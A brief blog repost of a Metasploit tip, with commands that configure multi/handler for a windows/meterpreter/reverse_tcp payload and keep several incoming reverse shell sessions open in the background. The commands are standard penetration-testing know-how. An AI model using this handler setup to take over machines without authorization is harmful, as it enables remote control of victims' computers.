参考:
https://community.rapid7.com/thread/2083
In order to get multiple session on a single multi/handler, you need to set the ExitOnSession option to false and run the exploit -j instead of just the exploit. For example, for meterpreter/reverse_tcp payload,
msf>use exploit multi/handler
msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <local IP>
msf>set lport <local port>
msf> set ExitOnSession false
msf>exploit -j
The -j option is to keep all the connected session in the background.
来源:CSDN
作者:caiqiiqi
链接:https://blog.csdn.net/caiqiiqi/article/details/73368173